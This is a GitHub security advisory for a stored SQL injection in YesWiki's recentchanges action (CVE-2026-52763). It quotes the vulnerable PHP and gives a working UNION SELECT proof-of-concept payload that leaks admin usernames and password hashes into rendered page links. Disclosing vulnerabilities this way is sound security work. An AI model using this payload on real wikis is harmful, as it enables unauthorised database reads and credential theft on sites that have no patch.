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SQL injection via the `recentchanges` action `period` argument leading to arbitrary DB read

Moderate
mrflos published GHSA-89v6-j5x6-cmj3 Jun 2, 2026

Package

No package listed

Affected versions

<=4.6.5

Patched versions

None

Description

Summary

The recentchanges action (actions/recentchanges.php) accepts a period argument from two disjoint parameter spaces: the URL query string ($_GET['period']) and the action invocation {{recentchanges period="..."}}. A whitelist at line 17 validates only the URL form against ['day','week','month']. The action-argument form takes the else branch at line 33 ($dateMin = $this->GetParameter('period')) with no validation, and the value flows into PageManager::getRecentlyChanged() (includes/services/PageManager.php:196), where it is interpolated into a WHERE time >= '...' ORDER BY time DESC clause without escaping or parameterization. UNION-based injection succeeds, the leaked rows render into the response page via actions/recentchanges.php:43,58 (ComposeLinkToPage($page['tag'])), so any visitor of the trigger page sees the exfiltrated data.

The vulnerability provides arbitrary read of the YesWiki database to anyone who can save the trigger page. On a default install (default_write_acl='*'), this includes anonymous users, subject to the hashcash JS check on the page-edit form. Once the trigger page is saved, every subsequent view fires the injection as the SQLi is stored. Stored SQL injection is reachable through the page-edit flow, with arbitrary database read.

Details

Two issues compose the vulnerability.

  1. actions/recentchanges.php line 33 reads the action argument and skips the whitelist.

    if (isset($_GET['period']) && in_array($_GET['period'], ['day', 'week', 'month'])) {
        switch ($_GET['period']) {
            case 'day':   $d = strtotime('-1 day');   $dateMin = date('Y-m-d H:i:s', $d); break;
            case 'week':  $d = strtotime('-1 week');  $dateMin = date('Y-m-d H:i:s', $d); break;
            case 'month': $d = strtotime('-1 month'); $dateMin = date('Y-m-d H:i:s', $d); break;
        }
    } else {
        $dateMin = $this->GetParameter('period');   
    }

    Wiki::GetParameter() (includes/YesWiki.php:895) reads $this->parameter[$key], which is populated from the {{action key=value}} argument list — disjoint from $_GET. The whitelist's if branch only runs when $_GET['period'] matches one of three exact values; in every other case the else branch reads the action argument with no validation, no escaping, no DateTime parse, no regex. The two parameter spaces are independent.

  2. In includes/services/PageManager.php, PageManager::getRecentlyChanged() interpolates the value into SQL.

public function getRecentlyChanged($limit = 50, $minDate = ''): ?array
{
    if (!empty($minDate)) {
        if ($pages = $this->dbService->loadAll(
            'select id, tag, time, user, owner from' . $this->dbService->prefixTable('pages')
            . "where latest = 'Y' and comment_on = '' and time >= '$minDate' order by time desc"
        )) {
            return $pages;
        }
    }
}

$minDate is interpolated raw into the query and there is no $this->dbService->escape($minDate) and no parameter binding and no format check.

The default action ACL for recentchanges is * (includes/YesWiki.php:1100, GetModuleACL), so Performer::CheckModuleACL('recentchanges', 'action') returns true for everyone. The injection runs whenever a viewer reaches a page that embeds the action with a malicious period argument.

PoC

Default fresh install so default_write_acl='*'.

  1. place the SQLi payload on a page
{{recentchanges period="2000-01-01' UNION SELECT 9999 AS id, CONCAT('LEAK_', name, '_', SUBSTRING(password,1,32)) AS tag, NOW() AS time, name AS user, name AS owner FROM yeswiki_users WHERE name='AdminUser' -- "}}

The five UNION columns match the id, tag, time, user, owner projection that getRecentlyChanged selects. The tag column is rendered into the response as a hyperlink, exfiltrating the leaked data.

  1. anyone visits the page
GET /?<TriggerPage> HTTP/1.1
Host: target.example

The injected query executes server-side; the tag column is rendered into the page in actions/recentchanges.php:43,58 via ComposeLinkToPage($page['tag']).

Impact

Arbitrary read of any DB column the application's MySQL user can access.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-52763

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

Improper Validation of Specified Type of Input

The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type. Learn more on MITRE.

Credits